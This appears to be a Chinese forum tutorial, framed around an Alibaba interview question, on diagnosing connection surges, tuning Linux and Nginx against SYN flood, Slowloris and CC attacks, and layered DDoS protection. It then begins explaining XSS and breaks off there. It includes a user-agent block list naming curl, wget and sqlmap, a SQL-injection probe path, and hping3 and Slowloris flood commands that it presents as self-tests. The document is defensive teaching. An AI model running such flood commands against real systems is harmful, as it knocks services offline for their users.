云栈社区»论坛 › 站务中心「 Forum Service 」 › 从连接数激增到XSS攻击：阿里大厂面试题深度剖析与防护实战 ...

发回帖发新帖

737 积分	0 好友	101 主题

发消息

从连接数激增到XSS攻击：阿里大厂面试题深度剖析与防护实战

发表于 7 小时前 | 查看: 0| 回复: 0

一、网络连接数过多问题（含正常高并发和异常攻击导致）

1.1、先分清：是真忙？还是假闹？

你一定遇到过：监控曲线突然拉成一根直线，连接数飙升到 3000+，运维兄弟电话都打爆了：“快看看是不是被黑了！”——别急！先别 reload，更别重启！

先打开 access.log，像老刑警查案一样，问自己三个问题：

问题	真忙（正经流量）	假闹（机器人/攻击）
IP 是散的？还是扎堆的？	几百上千个不同 IP，像春运火车站	1~3 个 IP 疯狂建连，像黄牛用脚本抢票
路径是正的？还是野的？	`/`, `/product/123`, `/login` —— 全是人该点的地方	`/wp-admin/`, `/phpmyadmin/`, `/xxx.php?id=1%20and%201=1` —— 全是黑客该扫的地方
时间是准的？还是邪的？	和发布会、秒杀预告、热点爆发严丝合缝，高峰后 5 分钟回落	凌晨 2:17 突然暴涨，持续 3 小时不降，像有人守着键盘按 F5

第一板斧：看日志
连接数高 ≠ 故障，但 IP 高度集中 + 路径高度异常 + 时间高度反常 = 99% 是攻击！
别一上来就扩容，先看日志——日志才是你的第一道防火墙。

tail -1000 /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head -10

看前10名IP各连了多少次（正常用户一般<50次/分钟，超200基本可疑）；这个命令是一个经典的分析Nginx访问日志的Linux管道命令，用于找出最近访问最频繁的IP地址。

第二板斧：看半连接数：
一条命令，常被用来初步判断服务器是否可能正在遭受 SYN Flood 攻击（一种常见的 DDoS 攻击）。

netstat -an | grep :80 | grep SYN_RECV | wc -l

如果 SYN_RECV > 100？立刻警觉！这是 SYN Flood 的铁证。

netstat -an | grep :80 | grep SYN_RECV | wc -l —— 这条命令，必须加到你的巡检脚本里！这个命令用于统计当前系统中处于 SYN_RECV 状态的、目标端口为 80 的 TCP 连接数量。

我们来逐段解析：

netstat：网络统计工具，显示网络连接、路由表、接口统计等信息。
-a：显示所有连接和监听端口（包括 LISTEN、ESTABLISHED、TIME_WAIT、SYN_RECV 等状态）。
-n：以数字形式显示地址和端口号（不进行 DNS 或服务名反查），加快执行速度。

第三板斧：看全连接数变化率：
别信 netstat -an | wc -l 的总数！它包含大量无效连接、TIME_WAIT、CLOSE_WAIT。
真正要盯的是 ESTABLISHED 数量 + SYN_RECV 数量 + TIME_WAIT 变化率。
可以登云厂商控制台（阿里云/腾讯云）→ 查“连接数监控”曲线，叠加业务日志时间点比对。

中小站 5 分钟自查三板斧（压箱底命令）：

# 1️⃣ 查谁在狂刷？前 10 大 IP 请求次数（正常用户 < 50 次/分钟，超 200 直接标红）
tail -100 /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head -10
# 2️⃣ 查谁在堵门？半连接数（SYN_RECV），>100 必须干预！
netstat -an | grep :80 | grep SYN_RECV | wc -l
# 3️⃣ 查趋势是否匹配？去云厂商控制台，把「连接数监控」曲线和「业务日志时间戳」叠在一起看——

如果峰值和你发的公众号推文发布时间重合？真忙。
如果峰值和你睡觉时间重合？假闹。

连接数异常分析流程图

1.2 内核调优：零成本释放连接能力

Linux 默认配置是给“办公室小服务器”设计的，不是给你扛百万流量的。
它像一辆原厂车——能开，但油门迟钝、刹车偏软、胎压总不对。
调内核，就是给它做一次免费保养，不换发动机（不加机器），但让现有资源跑得更顺。

注意：以下所有操作都在 /etc/sysctl.conf 文件里改，改完必须执行 sudo sysctl -p 生效（不用重启！）。

底层的连接数调节核心参数怎么调？为什么这么调？

参数	推荐值	人话解释	中小站实操建议	避坑提醒
`net.ipv4.tcp_max_syn_backlog`	4096	“门口临时等候区”大小（SYN半连接队列）。默认128，秒杀时1秒涌进200人，全挤门口堵死。	必调！2核4G起步设4096	别设太大（如65536），内存小的机器会OOM
`net.ipv4.tcp_syncookies = 1`	1	“门口发号牌”机制：队列满时，给每个新访客一个加密号牌（Cookie），下次带号牌来直接进店，防SYN Flood。	必开！防御SYN Flood第一道墙	安全，无副作用
`net.ipv4.tcp_tw_reuse = 1`	1	“允许重复用旧座位”。TIME_WAIT状态连接（关机后留下的“空座”）可直接复用，省端口。	必开！尤其代理/反向代理场景	`tcp_tw_recycle = 0`（云服务器禁用！NAT下会导致连接失败）
`net.ipv4.tcp_fin_timeout`	30	“空座位回收时限”。默认60秒才收走，调成30秒更快腾位置。	建议调，加速连接释放	安全，不影响业务
`net.core.somaxconn`	1024	“店里最大等位人数”（全连接队列）。Nginx默认只等511人，这里不调大，Nginx再强也接不住。	必调！且要和Nginx `listen 80 backlog=1024;` 保持一致	不配Nginx backlog，这行白改

TCP协议栈与Nginx连接处理流程图

参考配置（复制粘贴到 /etc/sysctl.conf 底部）：

# ====== 网站高并发专用内核优化（2核4G云服务器适用） ======
# 半连接队列：抗秒杀/扫描
net.ipv4.tcp_max_syn_backlog = 4096
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_syn_retries = 2
# TIME_WAIT优化：快进快出，省端口
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 0
net.ipv4.tcp_fin_timeout = 30
# 全连接队列：和Nginx对齐
net.core.somaxconn = 1024
# 临时端口范围：多开点“出租车”
net.ipv4.ip_local_port_range = 1024 65535

执行 sudo sysctl -p 生效后，用这条命令验证是否生效：

# 看半连接队列是否变大
sysctl net.ipv4.tcp_max_syn_backlog
# 看TIME_WAIT是否减少（对比调优前后）
ss -s | grep "timewait"

1.3 连接限流：核心手段，精准拦截恶意连接

内核调优是“扩车道”，限流是“装红绿灯”。
没有红绿灯，车道再宽也会堵死。
Nginx 的限流模块就是你的交通指挥中心，能按 IP、按域名、按请求频率精准控流。

关键认知：

limit_conn → 管“同时在线几个人”（并发连接数），防慢速攻击（Slowloris）、SYN Flood；

limit_req → 管“1秒内能点几次刷新”（请求频率），防CC攻击、暴力破解；

两者必须搭配用，单用哪个都不保险。

Nginx限流处理逻辑流程图

第一步：全局定义限流“计分板”（放在 nginx.conf 的 http{} 块里）

类比：这是你在派出所（Nginx）里设了3个登记本：

本子1：记每个IP今天点了几次（req_limit）；
本子2：记每个IP现在占着几个座位（conn_limit）；
本子3：记每个域名总共用了多少座位（domain_conn_limit，多站点必备）。

# ==== 放在 nginx.conf 的 http{} 块最上方 ====
http {
    # 【本子1】按IP记请求次数：10MB内存够存约16万个IP的计数（中小站管够）
    limit_req_zone $binary_remote_addr zone=req_limit:10m rate=10r/s;

    # 【本子2】按IP记当前连接数：10MB内存存IP连接状态
    limit_conn_zone $binary_remote_addr zone=conn_limit:10m;

    # 【本子3】按域名记总连接数：防某个站点（如测试站）把整台服务器拖垮
    limit_conn_zone $server_name zone=domain_conn_limit:10m;

    # 【统一返回】所有限流都返回429，前端可捕获重试
    limit_req_status 429;
    limit_conn_status 429;

    # 【可选】自定义友好提示页（非必须，但推荐）
    error_page 429 /429.html;
    location = /429.html {
        root /var/www/html;
        internal; # 只允许Nginx内部跳转，禁止用户直接访问
    }
}

第二步：站点级限流配置（放在具体站点的 server{} 块里）

类比：派出所给每个辖区（网站）派了不同的片警，按辖区特点定规矩：

企业官网：每人最多开2个窗口（连接），1秒最多点3次；

电商秒杀：每人最多开5个窗口，1秒最多点10次（burst=20防误点）。

server {
    listen 80;
    server_name www.your-site.com; # 替换为你的真实域名
    root /var/www/html;
    index index.html;
    # ====== 三大限流铁律（中小站直接抄） ======
    # ① 单IP最多开15个连接（防慢连接占坑）
    limit_conn conn_limit 15;

    # ② 本域名总共最多开200个连接（多站点时防某站独占）
    limit_conn domain_conn_limit 200;

    # ③ 单IP每秒最多10次请求，允许突发20次（burst=20），不排队（nodelay）
    #    → 用户连点5下不卡，但机器人1秒刷100次直接拦
    limit_req zone=req_limit burst=20 nodelay;
    # ====== 补刀防护（强烈建议加） ======
    # 拦截常见攻击工具User-Agent（curl/wget/sqlmap等）
    if ($http_user_agent ~* "(curl|wget|sqlmap|nikto|nmap|ab|jmeter|postman|python-requests)") {
        return 403; # 直接拒之门外，不给429机会
    }

    # 拦截空User-Agent（很多扫描器懒得填）
    if ($http_user_agent = "") {
        return 403;
    }
    # ====== 你的原有配置（千万别删！） ======
    location / {
        try_files $uri $uri/ /index.html;
    }

    # 如果是PHP站点，下面这段保留
    # location ~ \.php$ {
    #     fastcgi_pass 127.0.0.1:9000;
    #     include fastcgi_params;
    # }
}

参数怎么定？记住三条活口原则：

参数	怎么定？	为什么？	中小站参考值
`limit_conn conn_limit X`	用户平均开 3~5个标签页 × 安全系数 2	防误伤（比如用户开5个商品页+1个购物车）	10~20（博客10，电商15~20）
`rate=10r/s`	看你网站日常每秒PV（百度统计/Google Analytics）	比峰值高20%即可，太高挡真人，太低挡不住	5r/s（博客）, 10r/s（资讯）, 20r/s（秒杀预热）
`burst=20`	设为 rate 的 2倍左右	给用户“手滑连点”的宽容度，不搞一刀切	`rate=10` → `burst=20`

效果验证：两招立竿见影

(1) 用 ab 压测（模拟攻击）：

   ab -n 100 -c 20 http://www.your-site.com/
   #  成功表现：返回大量 "HTTP/1.1 429"，错误率 >80%

(2) 查日志确认没误伤：

   grep " 429 " /var/log/nginx/access.log | tail -20
   #  成功表现：全是压测IP（如192.168.1.100），没有你自己的办公IP

提示：限流不是限制用户，而是保护服务。
它是你线上系统的“安全气囊”，平时不显山不露水，出事时救命！

1.4 最终总结：一张表，中小站照着做就行

问题类型	该做什么	优先级	是否需要重启
连接数满，IP很散	调内核参数 + 加 `limit_conn`	`sysctl -p` 即可
连接数满，1~2个IP狂刷	加 `limit_req` + 屏蔽UA + 封IP	`nginx -s reload`
CPU不高但连不上	开 `tcp_syncookies` + 调大 `tcp_max_syn_backlog`	`sysctl -p`
页面加载慢，但连接数不高	不是本节问题，查后端/数据库/CDN	—	—

资深提示：

限流，只是兜底；
监控，才是眼睛；
自动扩容，才是肌肉；
业务降级，保住核心要紧。

改完，reload，喝杯咖啡，看监控曲线稳稳落下——那种掌控感，比写一百行代码都爽。

这才是架构师的快感。

二、DoS 攻击（拒绝服务攻击）& DDoS 攻击（分布式拒绝服务攻击）：网站被“堵门”了怎么办？

尼恩敲黑板： 上线之后最怕啥？不是数据库崩了，也不是代码有Bug，而是某天早上一睁眼：网站打不开了。
用户说“卡死了”，你查服务器 CPU不高、内存够用、带宽也没满，但是，日志里却全是同一IP疯狂刷请求……
这不是流量暴增，这是有人在堵你家大门！
这就是我们今天要死磕的主题：DoS 和 DDoS 攻击。

2.1、看透DoS/DDoS本质：谁在“堵门”？

DoS 就是一个人拿着喇叭，在你家门口喊“开门！”；
DDoS 呢？是叫来一百个混混，每人按十次门铃、假装问路、还往猫眼里吐口水。
DDoS 黑产人多势众，防不胜防。

DoS/ DDoS 不偷数据、不改页面，干的就是一件事： 让你的服务器忙到瘫痪，合法用户连首页都加载不出来。

资深提示：

黑产现在早就不靠人工攻击了，全靠机器人批量扫描 + 自动化攻击。

2.2、DoS vs DDoS：单挑和群殴的区别

先搞清楚这两个词：

DoS（Denial of Service）：一个IP单点发起海量请求，占满连接数或带宽。
DDoS（Distributed Denial of Service）：成千上万个“肉鸡”同时开火，分布式攻击，形成洪流。

敲黑板：DDoS 是 DoS 的升级版，也是当前最常见、破坏力最强的网络层攻击。中小站一旦中招，分分钟下线。

别觉得“我这破站没人理”，现实是：
很多小站已经被攻击过好几次了，只是你自己没发现。

举个真实场景：

某日凌晨三点，网站突然变慢，后台访问量暴增5倍，但订单一个没涨。
查日志一看，全是同一个IP在刷登录接口……
这很可能就是一次低烈度的 CC攻击 —— DDoS 的应用层变种。
这种攻击成本极低，工具满地都是，GitHub 上搜一下 slowloris、hping3 就能动手。

CC攻击的全称是 Challenge Collapsar Attack，中文常译作挑战黑洞攻击。

命名由来：Collapsar（黑洞）是早期一款知名的抗 DDoS 硬件防火墙，该攻击的核心思路就是通过特定请求模式挑战并耗尽这类防火墙及后端服务器的资源，最终使其瘫痪，因此得名。
核心特征：作为 DDoS 的应用层变种，它不针对网络层发送海量无效数据包，而是向服务器发送大量看似合法的应用层请求（如 HTTP/HTTPS 请求），精准消耗服务器的 CPU、内存、数据库连接、应用进程等核心资源，绕开常规的网络层防护，低烈度但持续性强，更难被识别和拦截。
常见攻击方式：多通过控制肉鸡集群、代理 IP 池发起高频次的页面访问、接口调用、表单提交等操作，针对动态页面、查询接口、需要数据库交互的业务节点进行精准打击。

2.3、攻击原理拆解：敌人是怎么下手的？

不了解敌人的武器，你怎么防守？

2.3.1、DoS 常见套路：三个经典招式

1. SYN Flood（半连接攻击）
TCP三次握手知道吧？客户端发SYN → 服务端回SYN-ACK → 客户端再回ACK。
攻击者只发SYN，不回ACK，服务器那边等着回应，连接队列就被占满了。
结果呢？真正的用户进不来。
类比：前台接待员一直在等客人确认预约，可对方永远不回话，后面排长队的客户全被晾着。
提示：不用完成连接，就能耗尽资源，这是一种极品攻击手法。

2、ACK Flood（全连接攻击）
攻击者建立完整连接后，疯狂发送无效ACK包，消耗CPU和带宽。
虽然单点威力不大，但配合多个节点就成了DDoS。

3、 Slowloris（慢连接攻击）
最阴险的一种。
攻击者建立连接后，每次只发1个字节，比如隔5秒发一个字母，让连接一直挂着。
服务器连接数有限，很快就被这些“慢动作”占满。
类比：餐厅里有人点了杯水，坐那儿一天不动，一小时吃一口，一个人占座占一天。
提示：流量极小，隐蔽性强，一定要警惕。

2.3.2、 DDoS 核心类型：从洪水到精准打击

2.3.2.1、流量型 DDoS（带宽耗尽）

UDP Flood、ICMP Flood 属于这类。
成千上万肉鸡一起往你服务器灌垃圾流量，带宽瞬间被打满。
比如你家宽带100M，别人用1G的流量对着你喷——你说你能顶得住吗？
防护靠什么？靠高防机房、流量清洗中心。

流量型 DDoS核心目标：
用海量垃圾数据包打满服务器 / 链路的网络带宽，让合法数据包无法进出，服务器相当于被 “断网”，是最基础、最常见的 DDoS 攻击类型。

流量型 DDoS攻击本质：
不针对服务器业务 / 连接，纯靠数据包数量压垮网络链路，服务器本身还未处理数据包，网络层已被堵死。

归属攻击类型：

1. UDP Flood：传输层无连接攻击，海量伪造 / 随机 UDP 包灌向目标端口，核心耗带宽 + 网络设备转发能力
2. ICMP Flood：网络层控制协议攻击，海量 Ping 包等 ICMP 包指向目标 IP，核心耗带宽 + 路由器 / 交换机资源

核心防护关键：高防机房（大带宽兜底）、运营商流量清洗（提前过滤垃圾包）、封禁服务器无用 UDP/ICMP 端口。

2.3.2.2、连接型 DDoS（连接耗尽）

分布式版本的 SYN Flood 或 CC 攻击。
CC攻击特别狠：模拟正常HTTP请求，疯狂刷页面、刷接口。
看起来像真实用户，其实全是机器人。
资深提示： CC攻击最难防，因为它长得太像合法流量。必须结合行为分析+限流策略才能搞定。

核心目标：
耗尽服务器的TCP 连接资源（半连接 / 全连接队列），让合法用户无法建立新连接，服务器网络通但 “接不了新请求”。

攻击本质：
围绕 TCP 协议的连接特性做文章，利用三次握手漏洞或无效全连接，占用服务器连接资源，带宽消耗相对较小，精准针对传输层连接机制。

连接型 DDoS 类型：

1、SYN Flood（半连接攻击）：核心耗半连接队列，只发 SYN 包不回 ACK，服务器持续等待确认，连接队列被占满
2、ACK Flood（全连接攻击）：核心耗全连接资源 + CPU，建立完整 TCP 连接后发海量无效 ACK 包，服务器反复解析，单点威力弱，集群发起后压垮连接资源

核心防护关键：

调大连接队列
开启 SYN Cookie（释放半连接队列）
限制单 IP 建连速率
识别并丢弃无效 ACK 包。

2.3.2.3、应用层 DDoS（资源耗尽）

针对数据库查询、文件下载、搜索接口等高耗资源功能猛攻。
一次请求可能触发复杂SQL、大文件读取，CPU直接拉满。

比如你有个 /api/search?q=xxx 接口，攻击者用脚本不停换关键词刷——后端扛不住几下就崩。

应用层 DDoS核心目标：
耗尽服务器的应用层核心业务资源（CPU、内存、数据库连接、应用进程等），服务器网络通、连接正常，但 “处理不了业务请求”。

应用层 DDoS攻击本质：
发送看似合法的应用层请求（而非底层垃圾包），精准针对高耗资源的业务节点（如动态页面、查询接口、数据库操作），请求与正常用户行为高度相似，是最隐蔽、最难防的 DDoS 变种。

应用层 DDoS 攻击类型：

1. CC 攻击（Challenge Collapsar Attack）：应用层经典攻击，模拟 HTTP/HTTPS 请求疯狂刷页面 / 接口，核心耗应用进程 + 数据库连接 + CPU
2. 专项接口攻击：针对 /api/search、文件下载、复杂 SQL 查询等高耗资源接口的定向猛攻，单次请求即消耗大量业务资源，多为 CC 攻击的精准变种

应用层 DDoS 核心防护关键：

行为分析（区分真人 / 机器人）
接口限流（单 IP / 单接口请求频率限制）
业务层优化（缓存高频请求、简化复杂 SQL）
7 层 WAF（识别异常请求特征）。

补充：关键跨类说明 + 易混点

1. CC 攻击的特殊属性：
常被归为「连接型 DDoS 的分布式版本」，但核心破坏逻辑是应用层资源耗尽，因此核心归属应用层 DDoS，这是其与 SYN/ACK Flood 的本质区别（后者是传输层连接耗尽，前者是应用层业务资源耗尽）。

2. ACK Flood 的双重特征：
核心归属「连接型 DDoS」（耗全连接资源），同时兼具轻微「应用层属性」（消耗 CPU 用于数据包解析），但未触及应用层业务请求，因此不属于 7 层攻击。

三大类 DDoS 攻击核心对比表

分类	核心耗尽资源	攻击层级	攻击特征	典型代表	防护难点
流量型 DDoS	网络带宽 + 网络设备	网络层 / 传输层	粗暴灌包、特征明显	UDP/ICMP Flood	需大带宽兜底
连接型 DDoS	TCP 连接资源（队列）	传输层	钻 TCP 连接漏洞、精准占号	SYN/ACK Flood	需优化 TCP 协议配置
应用层 DDoS	业务资源（CPU / 数据库等）	应用层（7 层）	伪装合法请求、隐蔽性高	CC 攻击 + 专项接口攻击	难区分真人 / 机器人

一句话极简总结

流量型：堵路（网络层被塞满，进不来也出不去），比如UDP/ICMP Flood 是堵路（把网络链路塞死）
连接型：占号（传输层连接被占满，没法接新请求），比如，SYN Flood 是占号（把连接队列占满），比如ACK Flood 是缠人（用无效包消耗服务器处理能力）
应用层：薅业务（应用层资源被薅光，没法处理业务），比如， CC 攻击是「薅业务」（用合法请求耗光应用层的业务资源）。

2.4 、核心防护思路：层层过滤，源头拦截

面对这些攻击，咱们不能硬扛。正确的姿势是：层层设卡，把恶意流量挡在外面。
就像机场安检：

第一层：CDN分流 + 清洗
第二层：高防IP过滤
第三层：WAF识别应用层攻击
第四层：服务器自身加固

记住一句话：不要指望服务器自己扛住DDoS，那是找死。要让防护体系替你扛。

2.5、实操方案：从小白到大佬的三级跳

咱们尼恩团队的原则是：成本适配，落地为王。
不同规模的站点，用不同的方案。

方案1：基础防护（中小站，零成本起步）

适合个人博客、企业官网这类低流量站点。四大动作，马上就能做：

第一个动作：开启云厂商 DDoS 基础防护

阿里云、腾讯云、华为云都有免费的基础防护，默认能抗2~10G的SYN/UDP Flood。别小看这10G，日常99%的攻击都在这个范围内。
操作路径：控制台 → 安全中心 → DDoS防护 → 确认开启。

第二个动作：关闭无用端口 + 防火墙封锁

只开80、443、22（建议限制IP访问），其他端口一律关闭。
Ubuntu用ufw，CentOS用iptables，配置如下：

# 清空规则
iptables -F
# 允许必要端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 你的本地IP -j ACCEPT
# 允许已建立连接通信
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 默认拒绝所有入站
iptables -P INPUT DROP
# 保存
service iptables save

提示：少开一个端口，就少一条命门。

第三个动作：内核参数调优（防SYN Flood）

编辑 /etc/sysctl.conf：

net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 4096
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_synack_retries = 1

执行 sysctl -p 生效。
这几个参数，相当于给TCP握手加了个验证码机制，防住大部分SYN攻击。

这组参数从三个维度防御 SYN Flood：

防占满：tcp_syncookies = 1 跳过半连接队列分配，从根源避免队列被占；
扩容量：tcp_max_syn_backlog = 4096 增大半连接队列，提升容纳能力；
快释放：tcp_synack_retries = 1 缩短无效连接的占用时间，让队列快速周转。

关键参数一： net.ipv4.tcp_syncookies = 1
核心作用：开启 TCP SYN Cookie 机制（防御 SYN Flood 的核心手段）。
正常情况下，服务器收到 SYN 包后，会分配一个「半连接条目」存到队列里，等待客户端的 ACK 包。SYN Flood 会把这个队列占满。
开启 SYN Cookie 后，服务器不再为 SYN 包分配半连接条目，而是把连接信息（如序列号）加密封装到 SYN-ACK 包的序列号里发回客户端。
只有客户端返回正确的 ACK 包（能解密出有效信息），服务器才会创建完整连接。
相当于：前台不再给 “只预约不确认” 的客人留号，只给一个加密的预约码，只有客人能出示正确的码，才会真正安排服务，从根本上避免队列被占满。
取值说明：1= 开启，0= 关闭（默认可能关闭，必须手动开）。

关键参数二： net.ipv4.tcp_max_syn_backlog = 4096
核心作用：设置 TCP 半连接队列的最大容量（即能暂存多少个未完成三次握手的 SYN 连接）。
这个参数定义了服务器 “待确认预约” 的最大数量。默认值可能很小（比如 1024），SYN Flood 很容易占满；调大到 4096 后，队列能容纳更多半连接，给合法请求留出更多空间。
相当于：前台的预约排队号从 1024 个扩容到 4096 个，能多承接一些预约，减少被瞬间占满的概率。
取值说明：可根据服务器性能调整（如 8192、16384），但不是越大越好（太大会占用更多内存），4096 是中小服务器的通用合理值。

SYN Cookie 和半连接队列的本质区别

机制	核心作用	是否占用半连接队列	适用场景
半连接队列（`tcp_max_syn_backlog`）	暂存未完成三次握手的 SYN 连接，是 TCP 正常建连的 “预约排队区”	是	正常流量、低强度 SYN Flood
SYN Cookie（`tcp_syncookies=1`）	绕过半连接队列，用加密序列号验证合法连接，是 SYN Flood 的 “应急兜底机制”	否	高强度 SYN Flood、队列占满时

简单说：SYN Cookie 是 “队列满了之后的备用方案”，而半连接队列是 “正常情况下的基础支撑”，二者配合才能覆盖不同强度的 SYN Flood 攻击。

SYN Cookie 是 “兜底机制”，而非 “常规方案”

内核开启 SYN Cookie 后，只有当半连接队列被占满时，才会触发 SYN Cookie 机制；如果队列没满，服务器仍会优先使用半连接队列处理 SYN 包（这是 TCP 建连的正常逻辑）。
若完全不配置 tcp_max_syn_backlog（用默认小值，比如 1024），即使是正常业务流量的突发峰值（非攻击），也容易触发队列占满，进而触发 SYN Cookie—— 而 SYN Cookie 有轻微的性能损耗（需要加密 / 解密计算），不如正常队列处理高效。

关键参数三：net.ipv4.tcp_synack_retries = 1
设置服务器发送 SYN-ACK 包的重试次数（关键防御参数）。
默认情况下，服务器收到 SYN 包后，会发 SYN-ACK 包给客户端，等待 ACK 包。默认情况下，服务器会重试 5 次发送 SYN-ACK，每次间隔几秒，这会让半连接条目在队列里停留很久。
调为1后，服务器只重试 1 次，若没收到 ACK 就立刻释放这个半连接条目，大大缩短半连接在队列中的占用时间，让队列快速 “腾位置” 给合法请求。
相当于：前台给预约客人发确认短信后，只等 1 次回复，没回复就立刻删掉这个预约号，不会一直占着位置。
取值说明：默认是 5，调为 1 是防御 SYN Flood 的常规操作，减少无效连接的占用时长。

第四个动作：Nginx防Slowloris配置

加几行配置，快速回收慢连接：

server {
    listen 80;
    server_name www.xxx.com;
    client_header_timeout 10s;
    client_body_timeout 10s;
    send_timeout 10s;
    client_body_buffer_size 16k;
    client_header_buffer_size 1k;
}

以上配置是防御 Slowloris 的核心，直接限制 “连接建立 / 数据传输” 的超时时间，超过就强制断开。

关键参数 client_header_timeout 10s;

核心作用：限制客户端向 Nginx 发送 HTTP 请求头的最大超时时间。
正常用户访问时，浏览器会一次性把请求头（如 Host、User-Agent 等）发给 Nginx，耗时毫秒级；
Slowloris 攻击会故意慢慢发请求头，比如 10 秒才发 1 个字段。
这个配置规定：如果客户端 10 秒内没把请求头发完，Nginx 就直接断开这个连接。
相当于：餐厅规定 “客人必须 10 秒内点完菜，超时就取消座位”，杜绝有人占着座位不点菜。
取值逻辑：默认是 60 秒，调为 10 秒（或 5-15 秒）是合理值 —— 既不影响正常用户（正常请求头传输远小于 10 秒），又能快速干掉 Slowloris 的慢连接。

关键参数 client_body_timeout 10s;

核心作用：限制客户端向 Nginx 发送 HTTP 请求体（比如 POST 提交的表单、文件等）的最大超时时间。

关键参数 send_timeout 10s;

核心作用：限制 Nginx 向客户端发送响应数据的超时时间（双向防护）。

提示：10秒内完不成请求？滚蛋。宁可错杀，不可放过。

方案2：进阶防护（中站，轻量付费）

适合资讯站、小型电商、SaaS平台。投入几百到几千元/年，换来稳定运行。

接入CDN（隐藏IP + 分流）

推荐：阿里云CDN、Cloudflare（海外首选）。
作用有三：
(1) 缓存静态资源，减轻源站压力；
(2) 作为第一道防线，清洗部分DDoS流量；
(3) 最关键的是：隐藏你的真实IP，让攻击者找不到你。
记住：只要攻击者知道你源站IP，随时可以直连打爆你。

使用 DDoS 高防 IP（轻量版）

把域名解析到高防IP，所有流量先经过清洗，干净的才转发给你。
防护能力：10G ~ 200G，足够应对绝大多数中小型攻击。
配置要点：
(1) 源站设置安全组，只允许高防IP段访问；
(2) 开启CC防护，设置单IP每秒请求数阈值（如≤20）；
(3) 配置告警通知，攻击发生时第一时间收到短信。

提示：高防IP = 护身符，买了不一定天天用，但关键时刻能救命。

Nginx限流防御CC攻击

用 limit_req 和 limit_conn 模块，精准控速：

http {
    limit_req_zone $binary_remote_addr zone=cc_limit:20m rate=15r/s;
    limit_conn_zone $binary_remote_addr zone=conn_limit:20m;
    server {
        listen 80;
        limit_req zone=cc_limit burst=30 nodelay;
        limit_conn conn_limit 20;
        location /api/login {
            limit_req zone=cc_limit burst=10 nodelay;
            proxy_pass http://127.0.0.1:8080;
        }
    }
}

提示：登录接口尤其要严防死守，否则分分钟被爆破。

启用 WAF 轻量版

阿里云WAF、腾讯云WAF都提供轻量套餐。
不仅能防CC，还能拦SQL注入、XSS、命令执行等应用层攻击。
相当于给网站加了个“AI保安”，自动识别坏人。

方案3：高级防护（大站/电商，生产级落地）

适合大型电商平台、金融系统、高并发中间件后台。
预算几万到几十万/年，追求极致可用性。

部署抗DDoS硬件设备

深信服、山石网科、华为都有专业设备，部署在IDC入口。
配合运营商提供的流量清洗中心，支持BGP引流，T级防护不在话下。

适合自有物理机房的大厂。

接入 BGP 高防机房

所有业务部署在高防机房，自带超大带宽 + 多线BGP + 自动清洗。
优势：防护强、延迟低、弹性扩容。

双十一级别的流量都能扛住。

业务降级 + 熔断机制（Spring Cloud/Sentinel）

攻击来了，资源紧张怎么办？
关掉非核心功能，保核心链路！
比如：

攻击期间关闭评论、分享、推荐；
只保留商品展示、下单、支付。

代码示例（Sentinel）：

@SentinelResource(value = "commentApi", fallback = "commentFallback")
@RequestMapping("/api/comment")
public Result comment(@RequestBody CommentDTO commentDTO) {
    return commentService.addComment(commentDTO);
}
public Result commentFallback(CommentDTO commentDTO, Throwable e) {
    return Result.fail("当前评论人数过多，请稍后再试");
}

提示：活着最重要。哪怕只剩支付功能能用，也算胜利。

专用CC防护系统

绿盟、安恒等厂商提供专业CC防护产品。
通过设备指纹、行为分析、验证码挑战等方式，精准识别机器人。

比如：某个IP频繁刷新，弹个验证码，过不去就拉黑。

2.6、怎么验证防护有没有效果？

配置完了不能光看，得测！

工具清单（仅用于自测！禁止攻击他人）

攻击模拟工具

hping3：模拟SYN Flood
```
hping3 -S -p 80 -i u100 目标IP
```
每秒发一万包，看你能不能扛住。

Slowloris：Python脚本，模拟慢连接

python slowloris.py -u http://目标域名 -s 100

ab（Apache Bench）：压测限流效果
```
ab -n 1000 -c 50 http://目标域名/
```
注意：测试前务必关闭生产告警，避免误判。

攻击检测手段

云厂商控制台：实时看攻击流量图、类型、清洗状态；
Nginx日志：查429状态码，看是否触发限流；

netstat 命令：

netstat -an | grep :80 | wc -l      # 查连接总数
netstat -an | grep SYN_RECV        # 查半连接数，飙升就是SYN攻击

2.7、一句话记住DoS/DDoS全部

DoS是单挑，DDoS是群殴；你不惹事，也可能被扫雷。
中小站别幻想“没人盯我”，黑产是全自动批量攻击。
正确做法：用云厂商的防护组合拳，CDN + 高防IP + WAF + 限流，层层过滤，把风险挡在门外。

资深提示：

安全是持续的过程，不是一次性工程。
每个月都要检查一次防护策略，更新一次黑名单，跑一次压测。
宁可平时多花十分钟，也不要在出事时跪着求人。

敲黑板：

重点1：中小站必须开云厂商的免费DDoS基础防护，这是底线！
重点2：一定要用CDN隐藏源站IP，否则等于裸奔！
重点3：对登录、搜索等敏感接口做精细化限流，防CC攻击！

三、XSS 攻击（跨站脚本攻击）：浏览器里的“隐形杀手”

尼恩语录：XSS不是攻破你的服务器，而是让用户的浏览器替你执行黑客的代码！

3.1 什么是XSS？一场精心策划的“信任欺骗”

XSS = Cross-Site Scripting = 跨站脚本攻击
XSS 本质是利用浏览器对用户信任网站的默认信任，将恶意脚本注入到用户浏览的页面中，通过浏览器执行脚本实现攻击目的，核心是“欺骗浏览器执行非预期代码”。

生动比喻，想象这个场景：

你家装了最先进的防盗门（服务器安全防护体系）
小偷（黑客）不撬门，而是伪装成快递员敲门：“顺丰快递，请签收！”
你（用户）信任地开门，小偷顺势进入，记下保险柜密码（窃取敏感数据）

XSS的杀伤链

XSS攻击五步骤流程图

3.2 三种XSS，三种致命攻击模式

3.2.1 存储型XSS：潜伏的“定时炸弹”

攻击流程

黑客把恶意脚本存入数据库（如评论区、用户昵称）
所有用户访问时自动加载并执行
引发大规模数据泄露

尼恩点评
最危险的XSS类型：一次注入，全员中毒
持久性强：修复需要清理数据库，成本极高
检测困难：可能潜伏数月才被发现

3.2.2 反射型XSS：精准的“钓鱼诱饵”

攻击流程

黑客构造恶意URL并发送给目标用户
用户点击链接，恶意脚本通过URL参数传入
页面直接输出参数内容，脚本执行

真实案例

